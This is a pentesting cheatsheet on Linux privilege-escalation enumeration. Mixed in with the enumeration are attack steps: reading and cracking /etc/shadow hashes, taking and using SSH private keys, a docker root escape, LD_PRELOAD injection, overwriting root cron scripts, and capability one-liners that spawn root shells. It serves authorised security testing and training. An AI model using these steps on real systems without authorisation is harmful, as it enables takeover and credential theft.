/cheatsheet — quick_ref
Field-tested commands, payloads, and shortcuts — all in one place.
Linux Privilege Escalation: Enumeration Cheatsheet
Copy-paste-ready enumeration commands covering every critical Linux privesc vector — OS, users, network, files, capabilities, and scheduled tasks. Built for Red Teamers, pentesters, and CTF players.
▸Table of Contents
Methodology first. Enumerate fully before exploiting anything. Work top-to-bottom: OS → Users → Network → Files → Capabilities. One skipped category is one missed path to root.
▸OS Enumeration
Kernel & Architecture
uname -a # full kernel string — version, hostname, arch, date
uname -r # kernel release only — clean string for searchsploit
uname -m # CPU architecture: x86_64 / aarch64 / i686
What to extract from uname -a output:
- Kernel version — run through Linux Exploit Suggester and cross-check on Exploit-DB
- Architecture — determines which precompiled exploit binaries will execute
Architecture mismatch kills payloads silently. A x86_64 exploit will not run on aarch64. Always confirm uname -m before uploading any compiled binary.
Kernel Compile Info
cat /proc/version
Example output:
Linux version 6.8.0-41-generic (buildd@lcy02-amd64-077) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.2.0-23ubuntu4) 13.2.0 ...)
6.8.0-41-generic→ kernel versionx86_64-linux-gnu-gcc-13→ compiler — match this version when compiling exploits locally to avoid ABI mismatchesbuildd@lcy02-amd64-077→ build machine (useful for fingerprinting cloud images)
OS Release
cat /etc/issue
cat /etc/os-release
cat /etc/*-release
Storage & Filesystems
lsblk # all block devices + current mount points
cat /etc/fstab # all filesystems — including unmounted ones
df -h # mounted filesystems with usage
/etc/fstab
- Unmounted partitions — potentially weaker permissions or cached sensitive data
- NFS mounts with
no_root_squash— local root on the attacker machine becomes root on the NFS share - CIFS/SMB mounts with inline credentials —
username=andpassword=options are plaintext in the file
Running Processes
ps aux # all users + user column + non-tty processes
ps axjf # all processes in forest/tree view
ps aux columns to focus on:
- USER — processes running as
rootthat reference writable scripts are your target - COMMAND — look for web servers, database processes, custom application scripts
Tree view (ps axjf) exposes parent-child relationships — spot scripts spawned by root daemons that might be replaceable or injectable.
Scheduled Tasks
cat /etc/crontab
cat /etc/cron.d/*
ls -la /var/spool/cron/crontabs/
crontab -l # current user's crontab
crontab field reference:
MIN HOUR DOM MON DOW USER COMMAND
30 2 * * 1 root /home/ubuntu/clear-mail.sh
*/5 * * * * root /root/backup.sh
- Field order:
minute hour day-of-month month day-of-week user command 30 2 * * 1→ 02:30 every Monday asroot*/5 * * * *→ every 5 minutes asroot- Sixth field is your target —
rootmeans any script it calls runs with full privileges
systemctl list-timers --all
NEXT LAST ACTIVATES
Mon 2025-01-13 06:23:10 UTC Sun 2025-01-12 06:17:43 UTC apt-daily.timer -> apt-daily.service
Mon 2025-01-13 00:00:00 UTC Sun 2025-01-12 00:00:12 UTC fstrim.timer -> fstrim.service
- ACTIVATES — the unit/service triggered; inspect its
ExecStartpath for writable scripts - NEXT — tells you how long until it fires
systemctl cat apt-daily.service # view the full unit file and ExecStart path
Cron/timer privesc trigger: If a root-owned scheduled task calls a script at a world-writable path (/tmp/, /home/user/script.sh), overwrite that script with a payload. Check permissions on every path referenced in crontab entries and timer unit files — not just the script itself, but every directory in the path.
Installed Packages
dpkg -l # Debian/Ubuntu — all installed packages
dpkg -l | grep -i "apache\|nginx\|mysql\|python\|sudo\|snap" # filter to interesting services
rpm -qa # Red Hat / CentOS equivalent
Cross-reference discovered versions with searchsploit <package> <version> or exploit-db.com.
▸User Enumeration
Current User Context
id # UID, GID, all supplementary groups
id [username] # same for another user on the system
whoami # username only
Example output:
uid=1001(asbawy) gid=1001(asbawy) groups=1001(asbawy),100(users)
uid=1002(matt) gid=1002(matt) groups=1002(matt),27(sudo),116(admin)
High-value group memberships — flag and act on immediately:
| Group | Escalation Vector |
|---|---|
sudo / wheel | Check sudo -l immediately |
docker | docker run -v /:/mnt -it alpine chroot /mnt sh |
disk | Raw block device read via debugfs /dev/sda1 |
lxd / lxc | Container image import → host root escape |
adm | Read /var/log/auth.log — credentials in logs |
shadow | Read /etc/shadow password hashes |
Environment Variables
env
printenv
Hunt for:
PATH— writable directory earlier in PATH → hijack a binary called by rootLD_PRELOAD/LD_LIBRARY_PATH— if preserved acrosssudo→ shared library injection- Credential patterns —
*_KEY,*_TOKEN,*_SECRET,*_PASSWORD,DATABASE_URL,AWS_*
If sudo -l output shows env_keep+=LD_PRELOAD, you have a trivial root escalation. Compile a malicious .so that calls setuid(0) + execvp("/bin/bash") in its constructor, then run any sudo-allowed command with it set.
Command History
history
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.python_history # credentials entered in interactive Python sessions
cat ~/.mysql_history # database credentials
cat ~/.nano_history # recently edited files — reveals sensitive paths
Sudo Permissions
sudo -l
Example output:
Matching Defaults entries for asbawy on linux-enumeration:
env_reset, mail_badpass, secure_path=...
User asbawy may run the following commands on linux-enumeration:
(ALL) NOPASSWD: /usr/bin/nmap
Every NOPASSWD entry is a potential root shell. Cross-reference every allowed binary at GTFOBins → filter by sudo. Common vectors that always have entries: nmap, vim, find, python, perl, ruby, awk, less, more, tee, cp, tar, bash, curl, wget, env.
/etc/passwd
cat /etc/passwd
# Real interactive users only:
cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /home
# Usernames only (fast overview):
cut -d ":" -f 1 /etc/passwd
Field format: username : password : UID : GID : comment : home_dir : shell
- UID
0— root-equivalent regardless of username; flag immediately xin password field — hash stored in/etc/shadow- Hash directly in the passwd field (legacy systems) —
/etc/passwdis world-readable, crack it
/etc/shadow
ls -la /etc/shadow # check permissions — should be 640 root:shadow
cat /etc/shadow # attempt read — succeeds if misconfigured or your user is in 'shadow' group
If /etc/shadow is readable, extract all hashes and crack offline. Hash format identification:
| Prefix | Algorithm | Hashcat Mode |
|---|---|---|
$6$ | SHA-512crypt | -m 1800 |
$5$ | SHA-256crypt | -m 7400 |
$2y$ / $2b$ | bcrypt | -m 3200 |
$1$ | MD5crypt | -m 500 |
hashcat -m 1800 shadow_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hashes.txt
SSH Keys
find / -name id_rsa 2>/dev/null
find / -name id_ed25519 2>/dev/null
find / -name id_ecdsa 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
Check permissions on every hit. A private key owned by root but with loose permissions (644 or 640) is a direct path:
chmod 600 /tmp/id_rsa_stolen
ssh -i /tmp/id_rsa_stolen root@127.0.0.1
If the key is passphrase-protected, crack it:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
# hashcat equivalent: hashcat -m 22921
User Capabilities
cat /proc/$$/status | grep -i cap # current shell capabilities (raw bitmask)
capsh --print # human-readable breakdown (requires capsh binary)
▸Network Enumeration
Interfaces & Routes
ip addr # all interfaces and assigned IPs
ip route # routing table — reveals additional subnets to pivot into
ip neigh # ARP cache — live hosts on the local network
ifconfig # legacy equivalent (net-tools package)
Interface signatures:
docker0→ Docker running locally; potential container escape or Docker socket abusetun0/wg0→ VPN activevirbr0→ KVM/libvirt hypervisor- Multiple non-loopback interfaces → active pivot point; map all subnets with
ip route
Active Connections & Listening Ports
ss -tpln # TCP listening, with PID and process name
ss -tupln # TCP + UDP listening
ss -anp # all sockets, numeric, with process names
netstat -lt # TCP listening ports only
netstat -ano # all sockets, numeric, with timers
netstat -tpln # TCP listening + PID/process name (PID visible only as root)
netstat -i # interface statistics — RX/TX counters, errors, drops
Services bound to 127.0.0.1 are invisible externally but fully accessible on the box. Internal-only ports are high-value targets — databases, admin panels, internal APIs, CI/CD agents. Reach them via local port forwarding from your attack box:
ssh -L 8080:127.0.0.1:8080 user@target # forward target's local port 8080 to attacker:8080
▸File System Enumeration
SUID / SGID Binaries
# SUID — binary executes as its owner (usually root)
find / -perm -u=s -type f 2>/dev/null
# SGID — binary executes as its group owner
find / -perm -g=s -type f 2>/dev/null
# Both flags in one pass
find / -type f \( -perm -u=s -o -perm -g=s \) 2>/dev/null
Every result is a potential root shell. Feed each binary directly to GTFOBins and filter by suid. Non-standard or custom SUID binaries not listed in GTFOBins warrant manual reverse engineering with ltrace, strace, or ghidra.
Writable Directories & Files
# World-writable directories
find / -type d -perm -0002 2>/dev/null
# World-writable files (excluding noisy /proc)
find / -perm -0002 -type f 2>/dev/null | grep -v proc
# Root-owned files your current user can write to
find / -user root -writable -type f 2>/dev/null | grep -v proc
Writable files outside /tmp and your own home directory are anomalies. Scripts called by root-owned cron jobs or systemd services at writable paths are direct escalation paths. Overwrite them with a payload before the next trigger fires.
Sensitive File Discovery
# Application config files
find / -name "*.conf" -type f 2>/dev/null
find / -name "*.config" -type f 2>/dev/null
find / -name ".env" -type f 2>/dev/null
find / -name "wp-config.php" -type f 2>/dev/null
find / -name "database.yml" -type f 2>/dev/null
# Password-adjacent filenames
find / -name "pass*" -type f 2>/dev/null
find / -name "*secret*" -type f 2>/dev/null
find / -name "*.bak" -type f 2>/dev/null
# Recently modified files (last 5 days) — catches post-deployment changes
find / -mtime -5 -type f 2>/dev/null | grep -v proc | grep -v sys
Dev Tools & Scripting Languages
which python python3 perl ruby php node gcc g++ make 2>/dev/null
find / -name "python*" -type f 2>/dev/null
find / -name "perl*" -type f 2>/dev/null
find / -name "gcc*" -type f 2>/dev/null
Available interpreters determine your payload options without transferring extra binaries. python3 + gcc on target = compile and execute arbitrary C on the box. perl + python = multiple GTFOBins shell escape routes available.
Linux Capabilities
getcap -r / 2>/dev/null
Example output:
/usr/bin/python3.10 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/tar = cap_dac_read_search+ep
Capabilities are the most overlooked privesc vector. They grant individual kernel privileges to binaries without the SUID bit — completely invisible to basic ls -la audits and missed by many automated tools.
| Capability | Impact |
|---|---|
cap_setuid | setuid(0) → instant root shell |
cap_setgid | setgid(0) → root group escalation |
cap_dac_read_search | Bypass all file read permissions → dump /etc/shadow, read any file |
cap_sys_admin | Near-omnipotent: mount, ptrace, namespace ops, CAP_SYS_ADMIN exploits |
cap_net_raw | Capture raw network traffic |
cap_net_bind_service | Bind to privileged ports < 1024 |
The +ep suffix = Effective + Permitted — capability is active on execution. Cross-reference all hits at GTFOBins → Capabilities.
# /usr/bin/python3 has cap_setuid+ep:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# /usr/bin/perl has cap_setuid+ep:
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# /usr/bin/tar has cap_dac_read_search+ep — read any file on the system:
/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow && tar -xvf /tmp/shadow.tar
▸Quick Reference
| Command | Purpose |
|---|---|
uname -a | Full kernel version string |
uname -m | CPU architecture (x86_64 / aarch64) |
cat /proc/version | Kernel compile info + compiler version |
cat /etc/issue && cat /etc/os-release | OS name and version |
lsblk | Block devices + mount points |
cat /etc/fstab | All filesystems incl. unmounted, NFS, CIFS |
ps aux | All running processes with owners |
cat /etc/crontab && cat /etc/cron.d/* | Root cron jobs |
systemctl list-timers --all | systemd scheduled timers |
dpkg -l | Installed packages + versions |
id | Current UID, GID, group memberships |
sudo -l | Allowed sudo commands |
env | Environment variables — PATH, LD_PRELOAD, secrets |
cat ~/.bash_history | Command history |
cat /etc/passwd | grep /bin/bash | Real interactive users |
ls -la /etc/shadow | Shadow file permissions |
find / -name id_rsa 2>/dev/null | Private SSH keys |
find / -perm -u=s -type f 2>/dev/null | SUID binaries |
find / -perm -g=s -type f 2>/dev/null | SGID binaries |
find / -type d -perm -0002 2>/dev/null | World-writable directories |
find / -perm -0002 -type f 2>/dev/null | grep -v proc | World-writable files |
find / -user root -writable -type f 2>/dev/null | grep -v proc | Root-owned, user-writable files |
find / -name ".env" -type f 2>/dev/null | .env credential files |
find / -name "*.bak" -type f 2>/dev/null | Backup files |
find / -mtime -5 -type f 2>/dev/null | grep -v proc | Recently modified files |
getcap -r / 2>/dev/null | Linux capabilities on binaries |
ip addr && ip route | Network interfaces and routing table |
ss -tpln | TCP listening ports + process names |
